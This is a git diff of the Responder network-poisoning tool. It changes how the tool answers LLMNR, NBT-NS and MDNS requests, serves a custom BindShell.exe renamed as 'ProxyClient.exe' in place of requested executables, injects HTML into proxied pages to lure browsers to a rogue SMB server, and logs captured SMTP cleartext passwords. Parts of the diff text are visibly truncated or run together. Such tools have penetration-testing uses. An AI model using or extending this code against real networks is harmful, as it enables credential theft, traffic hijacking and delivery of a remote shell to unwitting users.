diff --git a/Responder.conf b/Responder.conf index 6c99e23..90015fa 100644 --- a/Responder.conf +++ b/Responder.conf @@ -44,27 +44,31 @@ DontRespondToName = [HTTP Server] -; Set to On to always serve the custom .exe regardless of the URL +; Set to On to always serve the custom EXE Serve-Always = Off -; Set to On to serve the custom .exe when the URL contains .exe +; Set to On to replace any requested .exe with the custom EXE Serve-Exe = On ; Set to on to serve the custom HTML if the URL does not contain .exe -Serve-Html = On +; Set to Off to inject the 'HTMLToInject' in web pages instead +Serve-Html = Off ; Custom HTML to serve -HtmlFilename = files/AccedsDenied.html +HtmlFilename = files/AccessDenied.html ; Custom EXE File to serve ExeFilename = files/BindShell.exe +; Name of the downloaded .exe that the client will see +ExeDownloadName = ProxyClient.exe + ; Custom WPAD Script WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} ; HTML answer to inject in HTTP responses (before tag). ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. -HTMLToServe = Loading +HTMLToInject = Loading [HTTPS Server] diff --git a/Responder.py b/Responder.py index dea8bca..1802a3e 100755 --- a/Responder.py +++ b/Responder.py @@ -126,11 +126,11 @@ def serve_MDNS_poisoner(host, port, handler): print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." def serve_LLMNR_poisoner(host, port, handler): - #try: + try: server = ThreadingUDPLLMNRServer((host, port), handler) server.serve_forever() - #except: - # print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + except: + print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." def serve_thread_udp(host, port, handler): try: @@ -238,7 +238,6 @@ def main(): thread.start_new(serve_thread_udp,('', 53, DNS)) thread.start_new(serve_thread_tcp,('', 53, DNSTCP)) - print color('[+]', 2, 1) + " Listening for events..." while True: diff --git a/fingerprint.py b/fingerprint.py index a4a47b8..24432a5 100644 --- a/fingerprint.py +++ b/fingerprint.py @@ -1,7 +1,6 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -12,7 +11,7 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . import re diff --git a/odict.py b/odict.py index 7ed0db4..56abb70 100644 --- a/odict.py +++ b/odict.py @@ -1,6 +1,6 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -11,10 +11,9 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . - from UserDict import DictMixin class OrderedDict(dict, DictMixin): diff --git a/packets.py b/packets.py index 980bf2e..198514c 100644 --- a/packets.py +++ b/packets.py @@ -282,6 +282,9 @@ class ServeExeFile(Packet): ("AcceptRanges", "Accept-Ranges: bytes\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentDisp", "Content-Disposition: attachment; filename="), + ("ContentDiFile", ""), + ("FileCRLF", ";\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), @@ -306,8 +309,6 @@ class ServeHtmlFile(Packet): ("ActualLen", "76"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), ("CRLF", "\r\n"), ("Payload", "jj"), ]) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 070640f..8b98de7 100644 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -54,7 +54,7 @@ def IsICMPRedirectPlausible(IP): pass if settings.Config.AnalyzeMode: - AnalyzeICMPRedirect(settings.Config.Bind_To) + IsICMPRedirectPlausible(settings.Config.Bind_To) # LLMNR Server class class LLMNR(BaseRequestHandler): @@ -86,7 +86,7 @@ class LLMNR(BaseRequestHandler): soc.sendto(str(Buffer), self.client_address) LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) if Finger is not None: print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index f1c2164..959ac43 100644 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -50,7 +50,7 @@ class MDNS(BaseRequestHandler): return None try: - # Analyze + # Analyze Mode if settings.Config.AnalyzeMode: if Parse_IPV6_Addr(data): print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 34407a5..faa084c 100644 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -25,13 +25,13 @@ from utils import * def NBT_NS_Role(data): Role = { - "\x41\x41\x00":"Workstation/Redirector Service.", - "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", - "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", - "\x42\x4e\x00":"Local Master Browser.", - "\x42\x4f\x00":"Browser Election Service.", - "\x43\x41\x00":"File Server Service.", - "\x41\x42\x00":"Browser Service.", + "\x41\x41\x00":"Workstation/Redirector", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain Controller", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election", + "\x43\x41\x00":"File Server", + "\x41\x42\x00":"Browser", } if data in Role: @@ -44,15 +44,15 @@ def Validate_NBT_NS(data): if settings.Config.AnalyzeMode: return False - if NBT_NS_Role(data[43:46]) == "File Server Service.": + if NBT_NS_Role(data[43:46]) == "File Server": return True if settings.Config.NBTNSDomain == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": + if NBT_NS_Role(data[43:46]) == "Domain Controller": return True if settings.Config.Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": return True else: diff --git a/servers/HTTP.py b/servers/HTTP.py index 6a619be..172a2e8 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -28,7 +28,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile # Parse NTLMv1/v2 hash. -def ParseHTTPHash(data,client): +def ParseHTTPHash(data, client): LMhashLen = struct.unpack(' 5: - try: - unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) - except: - return False +def InjectData(data, client, req_uri): - InjectPayload = Payload - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasBody = re.findall('(?<= 1: try: Headers, Content = data.split('\r\n\r\n') @@ -71,22 +46,30 @@ def InjectData(data): return data if "content-encoding: gzip" in Headers.lower(): - - Gzip = HandleGzip(Headers, Content, settings.Config.HTMLToServe) - return Gzip if Gzip else data + Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) if "content-type: text/html" in Headers.lower(): + # Serve the custom HTML if needed + if settings.Config.Serve_Html == True: + return RespondWithFile(client, settings.Config.Html_Filename) + Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasBody = re.findall('(?<=]*>)', Content) + if HasBody: - print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1)) + print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToInject, 3, 1)) - NewContent = Content.replace("5: - data = InjectData(data) - else: - data = InjectPage(data,self.client_address[0]) - - except: - pass + #try: + data = i.recv(4096) + if len(data) > 1: + data = InjectData(data, self.client_address[0], self.path) + #except: + # pass else: out = soc - data = i.recv(8192) + data = i.recv(4096) + if self.command == "POST": print text("[PROXY] POST Data : %s" % data) if data: @@ -350,4 +332,4 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET - do_DELETE=do_GET + do_DELETE=do_GET \ No newline at end of file diff --git a/servers/SMTP.py b/servers/SMTP.py index 0bd8743..bfa0ca7 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -1,3 +1,19 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . import os import settings @@ -27,12 +43,11 @@ class ESMTP(BaseRequestHandler): if data: Password = b64decode(data[:len(data)-2]) - Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "SMTP-Clear-Text-Password-%s.txt" % self.client_address[0]) - WriteData(Outfile,Username+":"+Password, Username+":"+Password) print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0)) print text("[SMTP] Username : %s" % color(Username, 3, 0)) print text("[SMTP] Password : %s" % color(Password, 3, 0)) + WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password) ## FIXME: Close connection properly diff --git a/settings.py b/settings.py index 43acf8b..d2227e4 100644 --- a/settings.py +++ b/settings.py @@ -104,6 +104,7 @@ class Settings: self.HTTPBasicLog = os.path.join(self.ResponderPATH, 'logs', 'HTTP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.ResponderPATH, 'logs', 'LDAP-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.ResponderPATH, 'logs', 'SMB-Clear-Text-Password-%s.txt') + self.SMTPClearLog = os.path.join(self.ResponderPATH, 'logs', 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.ResponderPATH, 'logs', 'MSSQL-Clear-Text-Password-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.ResponderPATH, 'logs', 'LDAP-NTLMv1-Client-%s.txt') @@ -123,8 +124,9 @@ class Settings: self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') + self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName') self.WPAD_Script = config.get('HTTP Server', 'WPADScript') - self.HTMLToServe = config.get('HTTP Server', 'HTMLToServe') + self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') if not os.path.exists(self.Html_Filename): print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) @@ -155,8 +157,8 @@ class Settings: self.AnalyzeMode = options.Analyze self.CommandLine = str(sys.argv) - if self.HTMLToServe == None: - self.HTMLToServe = '' + if self.HtmlToInject == None: + self.HtmlToInject = '' self.Bind_To = utils.FindLocalIP(self.Interface) @@ -194,5 +196,5 @@ class Settings: self.AnalyzeLogger.addHandler(ALog_Handler) def init(): - global Config - Config = Settings() \ No newline at end of file + global Config, Threads + Config = Settings() diff --git a/tools/DHCP.py b/tools/DHCP.py index 606dcbc..57165b4 100644 --- a/tools/DHCP.py +++ b/tools/DHCP.py @@ -1,7 +1,6 @@ -#! /usr/bin/env python -# This utility is part of NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -10,12 +9,18 @@ # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import sys,struct,socket,re,optparse,ConfigParser,os +# along with this program. If not, see . +import sys +import struct +import socket +import re +import optparse +import ConfigParser +import os from odict import OrderedDict from socket import inet_aton, inet_ntoa diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index 1fa855e..0b5bffa 100644 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -1,7 +1,6 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -12,33 +11,23 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import datetime, struct -import sys,socket,struct -from socket import * -from odict import OrderedDict +import sys +import os +import datetime +import struct +import socket -class Packet(): - fields = OrderedDict([ - ("", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) +from packets import SMBHeader, SMBNego, SMBNegoData def GetBootTime(data): Filetime = int(struct.unpack('i", len(data)) return Len -from packets import SMBHeader -""" -class SMBHeader(Packet): - fields = OrderedDict([ - ("Proto", "\xff\x53\x4d\x42"), - ("Cmd", "\x72"), - ("Error-Code", "\x00\x00\x00\x00" ), - ("Flag1", "\x10"), - ("Flag2", "\x00\x00"), - ("Pidhigh", "\x00\x00"), - ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("Reserved", "\x00\x00"), - ("TID", "\x00\x00"), - ("PID", "\xff\xfe"), - ("UID", "\x00\x00"), - ("MID", "\x00\x00"), - ]) -""" - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack(". -import socket from socket import * -print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n' +print 'MSSQL Server Finder 0.1' s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) s.settimeout(2) s.sendto('\x02',('255.255.255.255',1434)) + try: while 1: data, address = s.recvfrom(8092) if not data: break else: - print "===============================================================\nHost details:",address[0] + print "===============================================================" + print "Host details:",address[0] print data[2:] - print "===============================================================\n" + print "===============================================================" + print "" except: pass diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index f94af20..0990c36 100644 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -1,7 +1,6 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by diff --git a/tools/RelayPackets.py b/tools/RelayPackets.py index aba127e..605c9bc 100644 --- a/tools/RelayPackets.py +++ b/tools/RelayPackets.py @@ -1,6 +1,6 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -11,7 +11,7 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct diff --git a/tools/SMBRelay.py b/tools/SMBRelay.py index 9037d2e..1d0e938 100644 --- a/tools/SMBRelay.py +++ b/tools/SMBRelay.py @@ -1,6 +1,6 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by diff --git a/utils.py b/utils.py index 6ce4459..a28e751 100644 --- a/utils.py +++ b/utils.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder by Jeremy S - jrm` @ irc.freenode.net +# This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify @@ -33,7 +33,7 @@ def color(txt, code = 1, modifier = 0): def text(txt): logging.info(txt) - return re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) def RespondToThisIP(ClientIp): @@ -174,7 +174,7 @@ def StartupMessage(): print color("[+] ", 2, 1) + "HTTP Options:" print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) - print ' %-27s' % "Serving EXE for .exe URLs" + (enabled if settings.Config.Serve_Exe else disabled) + print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script